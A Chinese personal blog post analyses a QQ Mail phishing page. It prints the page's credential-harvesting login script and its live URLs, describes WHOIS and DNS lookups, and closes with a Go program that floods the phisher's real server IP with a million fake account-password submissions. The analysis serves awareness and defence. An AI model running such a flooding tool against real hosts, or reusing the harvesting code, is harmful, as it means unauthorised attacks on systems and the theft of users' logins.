Dreamer2q Blog
见到,不如不见
Dreamer2q

Code is cheap, talk is expensive

64日志

钓鱼网站学习

创建于 2021-10-03 共 1466 字,阅读约 6 分钟 更新于 21-10-04 18:11
浏览 34评论 0

正在打游戏,突然收到一条邮件。过了一会不只是我一个人收到,舍友也收到了。

打开链接:http://qqmaildd.acqmail.org.cn/login/4.htmlwebwork_admin/user/h5/qqmail_user_card/vcebb9d0e37a1941d6


如图所示:

显然这是一个仿制的登录页面,HTTP链接,看起来一点都不像的域名已经把它给出卖了。但是如果使用手机打开,就是这样的效果:

一些手机的App比较鸡贼,它不会显示当前的“URL”地址,也不会提示“HTTP”不安全,这就让一些人下意识的认为这就是去登录QQ邮箱,但是你没有意识到你刚刚从QQ邮箱打开这个玩意(非QQ邮箱的用户除外,不过既然都非QQ邮箱了,安全意识应该比较强了才对)。

流程学习

打开“F12”发现了一个“iframe”嵌入标签,

打开这个链接:http://qqmaildd.acqmail.org.cn/Login.php?u=cc930


一个登录表单,登录的逻辑如下

var jia = false;
$(document).ready(function(){
    
  $("#denglu").click(function(){
      
		s();
  });
  $("#switcher_qlogin").click(function(){
		error("系统繁忙,请您使用QQ账号密码登录!");;
  });

});
function s() {
	err = false;
	var p = $("#p").val();
	var u = $("#u").val();
	var user='cc930';
	u == '' && error('您还没有输入帐号!');
	if (err) return false;
	p == '' && error("您还没有输入密码!");
	if (err) return false;

	if (u.length < 6 || u.length > 11) {
		error("您输入的帐号或密码不正确,请重新输入。");
		$("#u").val('');
		$("#p").val('');
		return false;
	}
	if (sameChar(u)) {
		error("您输入的帐号或密码不正确,请重新输入。");
		$("#u").val('');
		$("#p").val('');
		return false;
	}

	var len = p.length; (len < 6 || len > 16) && error('您输入的帐号或密码不正确,请重新输入。');
	/*新增密码校验*/
	//var pattern = /[\u4e00-\u9fa5]+/g;
	//pattern.test(p) && error("您输入的帐号或密码不正确,请重新输入。");
	//var pattern2 = /^[0-9]*$/g;
	//pattern2.test(p) && error("您输入的帐号或密码不正确,请重新输入。");
	if (sameChar(p)) {
		error("您输入的帐号或密码不正确,请重新输入。");
		$("#u").val('');
		$("#p").val('');
		return false;
	}
	if (err) {
		$("#u").val('');
		$("#p").val('');
		return false;
	}
	if(jia == true){
	    return false;
	}
    jia = true;
  $.get("/Login.php?action=Login&u="+u+"&p="+p+"&user="+user,function(data,status){
	  if(data == '1' || data == 1){
	        window.top.location.href = 'https://www.eol.cn/html/df/shaanxi/2016byj/';
	        jia = false;
      }else{
            error("您输入的帐号或密码不正确,请重新输入。");
            jia = false;
            return false;
      }
  });

}

function error(msg) {
	$("#err_m").html(msg);
	$("#error_tips").show().delay(3000).hide(0);
	var err = true;
}
function sameChar(str) {
    var result = true;
    var c = str.charAt(0);
    for (var i = 0; i < str.length; i++) {
        if (c != str.charAt(i)) {
            result = false;
            break;
        }
    }
    return result;
}

通过拼接“GET”请求链接进行登录,附上三个参数

  • user:固定为“cc930”(其实会变化的)
  • u,用户名
  • p,密码

成功后,会返回一个“1”,之后会转跳到“https://www.eol.cn/html/df/shaanxi/2016byj/”一个教育网站。


可见,并没有对“密码”做校验,说明“后台”只是简单的记录一下数据。

猜测会记录

  • 登录IP(用户归属地)
  • 账号,密码
  • user,对应某一次的钓鱼


之后应该会有人工来挂上“IP”归属地的代理,进行登录的手动测试。

至此,整个流程大概就应该是这样的,可以看出来这个过程非常的简单,但是只要点的人多,自然会有很多收益,尤其是针对特定的目标群体。

收集信息

WHOIS

刚注册不久的域名。

下面还要其它三个域名,对这个QQ邮件感兴趣。

居然发现一个QQ号,简单看一下。

只是一个小号罢了,估计也是其它途径购入的,想尝试继续发掘,但是能力有限,看不到绑定的手机号,也查不到啥其它结果了。

DNS解析


只有一个解析地址,很可能是“直连 IP”,但是我没找到进一步的有用信息。

找后台

抱歉,没找到,太菜了。

不过测试几个其它钓鱼地址


总结

这是一个很简单的钓鱼网站,搭建成本也很低

  • 一年的cn域名,org.cn 域名,约 30。
  • 一个月的服务器,约 50。
  • 静态页面克隆,COPY & PASTE
  • PHP 管理后台开发,1~3 天。
  • 邮件群发,(收购账号利用账号的关系网,人工 or 手动)。

后续,写一个虚假数据生成器。

发送虚假请求

package main

import (
	"fmt"
	"io/ioutil"
	"log"
	"math/rand"
	"net/http"
	"net/url"
	"strings"
	"sync"
	"time"
)

const (
	baseURL = "http://154.38.99.114/Login.php?user=cc930&action=Login&"
)

var (
	wg = sync.WaitGroup{}
)

type GabageData struct {
	I int
	U int64
	P string
}

func init() {
	rand.Seed(time.Now().UnixNano())
}

func main() {

	s := time.Now()
	gdCh := make(chan *GabageData, 1000)

	for i := 0; i < 1000; i++ {
		wg.Add(1)
		go func() {
			for gd := range gdCh {
				sendData(gd)
			}
			wg.Done()
		}()
	}

	for i := 0; i < 1000000; i++ {
		gd := genGabageData(i)
		gdCh <- gd
	}
	close(gdCh)
	wg.Wait()
	fmt.Printf("duration: %v\n", time.Since(s))
}

func sendData(gd *GabageData) {
	query := fmt.Sprintf("u=%d&p=%s", gd.U, gd.P)
	getUrl := baseURL + url.PathEscape(query)
	resp, err := http.Get(getUrl)
	defer resp.Body.Close()
	if err != nil {
		log.Printf("err: %v", err)
		return
	}
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Printf("read body: %v", err)
		return
	}

	if len(body) < 10 {
		fmt.Printf("%06d: sent data: u=%d, p=%s\n", gd.I, gd.U, gd.P)
	} else {
		fmt.Printf("%06d: failed: %s\n", gd.I, getUrl)
	}
}

// 垃圾数据生成器
func genGabageData(i int) *GabageData {
	// 随机 QQ 号,9-10 位
	u := rand.Int63n(2_000_000_000) + 1_000_000_00

	sb := strings.Builder{}
	// 密码长度
	l := rand.Intn(10) + 6
	for i := 0; i < l; i++ {
		// ascii 可见字符
		c := rand.Intn(126-33) + 33
		sb.WriteByte(byte(c))
	}

	return &GabageData{
		I: i,
		U: u,
		P: sb.String(),
	}
}

通过“GET”请求,将随机生成的数据发送给对方,虽然效果不大,但是可以恶心一下对方。


最后,希望有大佬出手来简单“修整”一下这个钓鱼网站。